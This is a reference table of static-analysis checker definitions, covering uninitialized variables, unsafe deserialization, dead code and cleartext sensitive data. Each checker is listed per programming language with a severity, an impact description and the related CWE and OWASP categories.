| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a file | Low impact security | Java | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a file | Low impact security | Objective-C/C++ | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext sensitive data in a file | Low impact security | Swift | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext transmission of sensitive data | High impact security | C/C++ | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext transmission of sensitive data | High impact security | C# | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext transmission of sensitive data | High impact security | Java | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext transmission of sensitive data | High impact security | Objective-C/C++ | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNENCRYPTED_SENSITIVE_DATA | Cleartext transmission of sensitive data | High impact security | Swift | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Control flow issues | C/C++ | Execution jumps out of the loop rather than continuing. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Control flow issues | C# | Execution jumps out of the loop rather than continuing. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Control flow issues | Java | Execution jumps out of the loop rather than continuing. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Control flow issues | JavaScript | Execution jumps out of the loop rather than continuing. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Control flow issues | Objective-C/C++ | Execution jumps out of the loop rather than continuing. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Control flow issues | PHP | Execution jumps out of the loop rather than continuing. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Control flow issues | Ruby | Execution jumps out of the loop rather than continuing. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Control flow issues | Swift | Execution jumps out of the loop rather than continuing. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Control flow issues | Visual Basic | Execution jumps out of the loop rather than continuing. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Error handling issues | Swift | Any exception thrown by the expression will be quietly ignored. | Medium | Quality | 391 | 17, 18, 388, 389, 391, 398, 699, 700, 703, 710, 711, 728, 734, 743, 746, 844, 851, 868, 876, 877, 880, 888, 889, 907, 961, 962, 978, 1000, 1003, 1008, 1012, 1020 | ||
| UNEXPECTED_CONTROL_FLOW | Unexpected control flow | Control flow issues | Swift | Statements will be executed immediately rather than at a later time. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| UNINIT | Uninitialized array index read | Memory - illegal accesses | C/C++ | Incorrect values will be read from an arbitrary memory location, causing incorrect computations. | High | Quality, Security | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT | Uninitialized array index read | Memory - illegal accesses | Objective-C/C++ | Incorrect values will be read from an arbitrary memory location, causing incorrect computations. | High | Quality, Security | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT | Uninitialized array index write | Memory - corruptions | C/C++ | Some arbitrary memory location is overwritten. Incorrect values may subsequently be read. | High | Quality, Security | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT | Uninitialized array index write | Memory - corruptions | Objective-C/C++ | Some arbitrary memory location is overwritten. Incorrect values may subsequently be read. | High | Quality, Security | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT | Uninitialized scalar variable | Uninitialized variables | C/C++ | The variable will contain an arbitrary value left from earlier computations. | High | Quality, Security | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT | Uninitialized scalar variable | Uninitialized variables | Objective-C/C++ | The variable will contain an arbitrary value left from earlier computations. | High | Quality, Security | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT | Uninitialized pointer read | Memory - illegal accesses | C/C++ | Incorrect values could be read from, or even written to, an arbitrary memory location, causing incorrect computations. | High | Quality, Security | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT | Uninitialized pointer read | Memory - illegal accesses | Objective-C/C++ | Incorrect values could be read from, or even written to, an arbitrary memory location, causing incorrect computations. | High | Quality, Security | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT | Uninitialized pointer write | Memory - corruptions | C/C++ | This could cause an immediate crash or incorrect values might be read subsequently resulting in incorrect computations. | High | Quality, Security | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT | Uninitialized pointer write | Memory - corruptions | Objective-C/C++ | This could cause an immediate crash or incorrect values might be read subsequently resulting in incorrect computations. | High | Quality, Security | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT_CTOR | Uninitialized scalar field | Uninitialized members | C/C++ | The field will contain an arbitrary value left over from earlier computations. | Medium | Quality | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT_CTOR | Uninitialized scalar field | Uninitialized members | Objective-C/C++ | The field will contain an arbitrary value left over from earlier computations. | Medium | Quality | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT_CTOR | Uninitialized pointer field | Uninitialized members | C/C++ | The pointer field will point to an arbitrary memory location, any attempt to write may cause corruption. | Medium | Quality | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINIT_CTOR | Uninitialized pointer field | Uninitialized members | Objective-C/C++ | The pointer field will point to an arbitrary memory location, any attempt to write may cause corruption. | Medium | Quality | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| UNINTENDED_GLOBAL | Unintended assign to global | Incorrect expression | JavaScript | The assignment will implicitly create a global variable. | Medium | Quality | None | |||
| UNINTENDED_INTEGER_DIVISION | Result is not floating-point | Incorrect expression | C/C++ | The result of the division is truncated to an integer (a whole number), which is usually a loss of precision in a calculation. | Medium | Quality | None | |||
| UNINTENDED_INTEGER_DIVISION | Result is not floating-point | Incorrect expression | C# | The result of the division is truncated to an integer (a whole number), which is usually a loss of precision in a calculation. | Medium | Quality | None | |||
| UNINTENDED_INTEGER_DIVISION | Result is not floating-point | Incorrect expression | Java | The result of the division is truncated to an integer (a whole number), which is usually a loss of precision in a calculation. | Medium | Quality | None | |||
| UNINTENDED_INTEGER_DIVISION | Result is not floating-point | Incorrect expression | Objective-C/C++ | The result of the division is truncated to an integer (a whole number), which is usually a loss of precision in a calculation. | Medium | Quality | None | |||
| UNINTENDED_INTEGER_DIVISION | Result is not floating-point | Incorrect expression | Scala | The result of the division is truncated to an integer (a whole number), which is usually a loss of precision in a calculation. | Medium | Quality | None | |||
| UNKNOWN_LANGUAGE_INJECTION | Unknown language injection | Low impact security | C# | An attacker can change the intent of the parsing, which may alter how the data is interpreted. | Low | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| UNKNOWN_LANGUAGE_INJECTION | Unknown language injection | Low impact security | Java | An attacker can change the intent of the parsing, which may alter how the data is interpreted. | Low | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| UNLOGGED_SECURITY_EXCEPTION | Unlogged security exception | Medium impact security | C# | Each security exception must be logged properly to provide a notification about and a history of security events. This aids in a timely response to limit the severity and scale of attacks. It also provides information to analyze their origins and consequences. | Medium | Quality, Security | 778 | 17, 18, 19, 199, 221, 223, 254, 361, 664, 693, 699, 700, 778, 884, 888, 892, 906, 907, 975, 984, 997, 1000, 1003, 1008, 1009, 1026, 1036 | owasp-web-2017-A10: Insufficient Logging & Monitoring | |
| UNLOGGED_SECURITY_EXCEPTION | Unlogged security exception | Medium impact security | Java | Each security exception must be logged properly to provide a notification about and a history of security events. This aids in a timely response to limit the severity and scale of attacks. It also provides information to analyze their origins and consequences. | Medium | Quality, Security | 778 | 17, 18, 19, 199, 221, 223, 254, 361, 664, 693, 699, 700, 778, 884, 888, 892, 906, 907, 975, 984, 997, 1000, 1003, 1008, 1009, 1026, 1036 | owasp-web-2017-A10: Insufficient Logging & Monitoring | |
| UNLOGGED_SECURITY_EXCEPTION | Unlogged security exception | Medium impact security | Visual Basic | Each security exception must be logged properly to provide a notification about and a history of security events. This aids in a timely response to limit the severity and scale of attacks. It also provides information to analyze their origins and consequences. | Medium | Quality, Security | 778 | 17, 18, 19, 199, 221, 223, 254, 361, 664, 693, 699, 700, 778, 884, 888, 892, 906, 907, 975, 984, 997, 1000, 1003, 1008, 1009, 1026, 1036 | owasp-web-2017-A10: Insufficient Logging & Monitoring | |
| UNREACHABLE | Structurally dead code | Control flow issues | C/C++ | Actions intended to be performed by the unreachable code will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNREACHABLE | Structurally dead code | Control flow issues | C# | Actions intended to be performed by the unreachable code will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNREACHABLE | Structurally dead code | Control flow issues | Java | Actions intended to be performed by the unreachable code will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNREACHABLE | Structurally dead code | Control flow issues | JavaScript | Actions intended to be performed by the unreachable code will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNREACHABLE | Structurally dead code | Control flow issues | Objective-C/C++ | Actions intended to be performed by the unreachable code will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNREACHABLE | Structurally dead code | Control flow issues | PHP | Actions intended to be performed by the unreachable code will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNREACHABLE | Structurally dead code | Control flow issues | Python | Actions intended to be performed by the unreachable code will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNREACHABLE | Structurally dead code | Control flow issues | Ruby | Actions intended to be performed by the unreachable code will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNREACHABLE | Structurally dead code | Control flow issues | Scala | Actions intended to be performed by the unreachable code will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNREACHABLE | Structurally dead code | Control flow issues | Visual Basic | Actions intended to be performed by the unreachable code will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNRESTRICTED_ACCESS_TO_FILE | Database on external storage | Low impact security | Java | An attacker can access and modify the information contained in this database. | Low | Security | 921 | 17, 18, 19, 199, 200, 361, 538, 629, 635, 664, 668, 699, 700, 717, 809, 815, 840, 888, 892, 895, 921, 922, 963, 984, 1000, 1003, 1008, 1011, 1013 | ||
| UNRESTRICTED_ACCESS_TO_FILE | Exposed database read | Low impact security | Java | An attacker can access any sensitive information stored in this database. | Low | Security | 538 | 17, 18, 19, 199, 200, 361, 538, 629, 635, 664, 668, 699, 700, 717, 809, 815, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011 | ||
| UNRESTRICTED_ACCESS_TO_FILE | Exposed database write | Low impact security | Java | An attacker can access and modify the information stored in this database | Low | Security | 538 | 17, 18, 19, 199, 200, 361, 538, 629, 635, 664, 668, 699, 700, 717, 809, 815, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011 | ||
| UNRESTRICTED_ACCESS_TO_FILE | File on external storage | Low impact security | Java | An attacker can access and modify the information contained in this file. | Low | Security | 921 | 17, 18, 19, 199, 200, 361, 538, 629, 635, 664, 668, 699, 700, 717, 809, 815, 840, 888, 892, 895, 921, 922, 963, 984, 1000, 1003, 1008, 1011, 1013 | ||
| UNRESTRICTED_ACCESS_TO_FILE | Exposed file read | Low impact security | Java | An attacker can access any sensitive information stored in this file. | Low | Security | 538 | 17, 18, 19, 199, 200, 361, 538, 629, 635, 664, 668, 699, 700, 717, 809, 815, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011 | ||
| UNRESTRICTED_ACCESS_TO_FILE | Exposed file write | Low impact security | Java | An attacker can access and modify this file. | Low | Security | 538 | 17, 18, 19, 199, 200, 361, 538, 629, 635, 664, 668, 699, 700, 717, 809, 815, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011 | ||
| UNRESTRICTED_DISPATCH | Unrestricted dispatch | Medium impact security | C# | An attacker can manipulate the dispatch path to access unintended servlets or views, allowing them to bypass security checks or obtain unauthorized data. | Medium | Security | 73 | 17, 18, 19, 20, 73, 254, 264, 265, 361, 371, 610, 635, 642, 664, 668, 693, 699, 700, 711, 722, 723, 734, 738, 742, 746, 747, 750, 751, 752, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 907, 928, 938, 963, 975, 980, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1015, 1019 | ||
| UNRESTRICTED_DISPATCH | Unrestricted dispatch | Medium impact security | Java | An attacker can manipulate the dispatch path to access unintended servlets or views, allowing them to bypass security checks or obtain unauthorized data. | Medium | Security | 73 | 17, 18, 19, 20, 73, 254, 264, 265, 361, 371, 610, 635, 642, 664, 668, 693, 699, 700, 711, 722, 723, 734, 738, 742, 746, 747, 750, 751, 752, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 907, 928, 938, 963, 975, 980, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1015, 1019 | ||
| UNRESTRICTED_DISPATCH | Unrestricted dispatch | Medium impact security | Visual Basic | An attacker can manipulate the dispatch path to access unintended servlets or views, allowing them to bypass security checks or obtain unauthorized data. | Medium | Security | 73 | 17, 18, 19, 20, 73, 254, 264, 265, 361, 371, 610, 635, 642, 664, 668, 693, 699, 700, 711, 722, 723, 734, 738, 742, 746, 747, 750, 751, 752, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 907, 928, 938, 963, 975, 980, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1015, 1019 | ||
| UNRESTRICTED_MESSAGE_TARGET | Unrestricted target for cross-origin message | Low impact security | JavaScript | A malicious site can intercept the message by changing the location of the window. | Low | Security | 668 | 17, 18, 361, 664, 668, 699, 700, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011 | ||
| UNSAFE_DESERIALIZATION | Unsafe deserialization | High impact security | C# | An attacker can instantiate arbitrary classes, possibly resulting in a denial of service or potentially unintended code execution. | High | Security | 502 | 17, 18, 361, 398, 399, 502, 505, 635, 664, 699, 700, 710, 844, 858, 884, 888, 892, 896, 907, 913, 978, 984, 994, 1000, 1003, 1008, 1019, 1026, 1034 | owasp-web-2017-A8: Insecure Deserialization | |
| UNSAFE_DESERIALIZATION | Unsafe deserialization | High impact security | Java | An attacker can instantiate arbitrary classes, possibly resulting in a denial of service or potentially unintended code execution. | High | Security | 502 | 17, 18, 361, 398, 399, 502, 505, 635, 664, 699, 700, 710, 844, 858, 884, 888, 892, 896, 907, 913, 978, 984, 994, 1000, 1003, 1008, 1019, 1026, 1034 | owasp-web-2017-A8: Insecure Deserialization | |
| UNSAFE_DESERIALIZATION | Unsafe deserialization | High impact security | JavaScript | An attacker can instantiate arbitrary classes, possibly resulting in a denial of service or potentially unintended code execution. | High | Security | 502 | 17, 18, 361, 398, 399, 502, 505, 635, 664, 699, 700, 710, 844, 858, 884, 888, 892, 896, 907, 913, 978, 984, 994, 1000, 1003, 1008, 1019, 1026, 1034 | owasp-web-2017-A8: Insecure Deserialization | |
| UNSAFE_DESERIALIZATION | Unsafe deserialization | High impact security | PHP | An attacker can instantiate arbitrary classes, possibly resulting in a denial of service or potentially unintended code execution. | High | Security | 502 | 17, 18, 361, 398, 399, 502, 505, 635, 664, 699, 700, 710, 844, 858, 884, 888, 892, 896, 907, 913, 978, 984, 994, 1000, 1003, 1008, 1019, 1026, 1034 | owasp-web-2017-A8: Insecure Deserialization | |
| UNSAFE_DESERIALIZATION | Unsafe deserialization | High impact security | Python | An attacker can instantiate arbitrary classes, possibly resulting in a denial of service or potentially unintended code execution. | High | Security | 502 | 17, 18, 361, 398, 399, 502, 505, 635, 664, 699, 700, 710, 844, 858, 884, 888, 892, 896, 907, 913, 978, 984, 994, 1000, 1003, 1008, 1019, 1026, 1034 | owasp-web-2017-A8: Insecure Deserialization | |
| UNSAFE_DESERIALIZATION | Unsafe deserialization | High impact security | Visual Basic | An attacker can instantiate arbitrary classes, possibly resulting in a denial of service or potentially unintended code execution. | High | Security | 502 | 17, 18, 361, 398, 399, 502, 505, 635, 664, 699, 700, 710, 844, 858, 884, 888, 892, 896, 907, 913, 978, 984, 994, 1000, 1003, 1008, 1019, 1026, 1034 | owasp-web-2017-A8: Insecure Deserialization | |
| UNSAFE_JNI | Unsafe dynamic library loading | Medium impact security | Java | An attacker can load a dynamic library that executes arbitrary code. | Medium | Security | 427 | 17, 18, 19, 20, 254, 264, 265, 361, 398, 399, 417, 427, 470, 505, 610, 635, 664, 668, 693, 699, 700, 710, 711, 722, 734, 738, 742, 746, 747, 750, 751, 844, 859, 868, 872, 876, 883, 884, 888, 892, 893, 895, 896, 907, 913, 963, 975, 978, 980, 984, 991, 994, 1000, 1003, 1005, 1008, 1011, 1015, 1019, 1026, 1027 | owasp-web-2017-A1: Injection | |
| UNSAFE_NAMED_QUERY | Unsafe named query | Low impact security | C# | An attacker can subvert program functionality or expose sensitive data. | Low | Security | 470 | 17, 18, 19, 20, 254, 264, 265, 361, 398, 399, 470, 505, 610, 635, 664, 693, 699, 700, 710, 711, 722, 734, 738, 742, 746, 747, 750, 751, 844, 859, 868, 872, 876, 883, 884, 888, 892, 893, 896, 907, 913, 975, 978, 980, 984, 991, 994, 1000, 1003, 1005, 1008, 1015, 1019 | ||
| UNSAFE_NAMED_QUERY | Unsafe named query | Low impact security | Java | An attacker can subvert program functionality or expose sensitive data. | Low | Security | 470 | 17, 18, 19, 20, 254, 264, 265, 361, 398, 399, 470, 505, 610, 635, 664, 693, 699, 700, 710, 711, 722, 734, 738, 742, 746, 747, 750, 751, 844, 859, 868, 872, 876, 883, 884, 888, 892, 893, 896, 907, 913, 975, 978, 980, 984, 991, 994, 1000, 1003, 1005, 1008, 1015, 1019 | ||
| UNSAFE_NAMED_QUERY | Unsafe named query | Low impact security | Visual Basic | An attacker can subvert program functionality or expose sensitive data. | Low | Security | 470 | 17, 18, 19, 20, 254, 264, 265, 361, 398, 399, 470, 505, 610, 635, 664, 693, 699, 700, 710, 711, 722, 734, 738, 742, 746, 747, 750, 751, 844, 859, 868, 872, 876, 883, 884, 888, 892, 893, 896, 907, 913, 975, 978, 980, 984, 991, 994, 1000, 1003, 1005, 1008, 1015, 1019 | ||
| UNSAFE_REFLECTION | Unsafe reflection | Low impact security | Java | An attacker can instantiate new classes or methods, possibly resulting in a denial of service or potentially unintended code execution. | Low | Security | 470 | 17, 18, 19, 20, 254, 264, 265, 361, 398, 399, 470, 505, 610, 635, 664, 693, 699, 700, 710, 711, 722, 734, 738, 742, 746, 747, 750, 751, 844, 859, 868, 872, 876, 883, 884, 888, 892, 893, 896, 907, 913, 975, 978, 980, 984, 991, 994, 1000, 1003, 1005, 1008, 1015, 1019, 1026, 1027 | owasp-web-2017-A1: Injection | |
| UNSAFE_REFLECTION | Unsafe reflection | Low impact security | PHP | An attacker can instantiate new classes or methods, possibly resulting in a denial of service or potentially unintended code execution. | Low | Security | 470 | 17, 18, 19, 20, 254, 264, 265, 361, 398, 399, 470, 505, 610, 635, 664, 693, 699, 700, 710, 711, 722, 734, 738, 742, 746, 747, 750, 751, 844, 859, 868, 872, 876, 883, 884, 888, 892, 893, 896, 907, 913, 975, 978, 980, 984, 991, 994, 1000, 1003, 1005, 1008, 1015, 1019, 1026, 1027 | owasp-web-2017-A1: Injection | |
| UNUSED_VALUE | Unused value | Incorrect expression | C/C++ | An assigned value that is never used may represent unnecessary computation, an incorrect algorithm, or possibly the need for cleanup or refactoring. | Medium | Quality | 563 | 17, 18, 398, 563, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNUSED_VALUE | Unused value | Incorrect expression | C# | An assigned value that is never used may represent unnecessary computation, an incorrect algorithm, or possibly the need for cleanup or refactoring. | Medium | Quality | 563 | 17, 18, 398, 563, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNUSED_VALUE | Unused value | Incorrect expression | Java | An assigned value that is never used may represent unnecessary computation, an incorrect algorithm, or possibly the need for cleanup or refactoring. | Medium | Quality | 563 | 17, 18, 398, 563, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNUSED_VALUE | Unused value | Incorrect expression | Objective-C/C++ | An assigned value that is never used may represent unnecessary computation, an incorrect algorithm, or possibly the need for cleanup or refactoring. | Medium | Quality | 563 | 17, 18, 398, 563, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNUSED_VALUE | Unused value | Code maintainability issues | C/C++ | An assigned value that is never used may represent unnecessary computation, an incorrect algorithm, or possibly the need for cleanup or refactoring. | Low | Quality | 563 | 17, 18, 398, 563, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
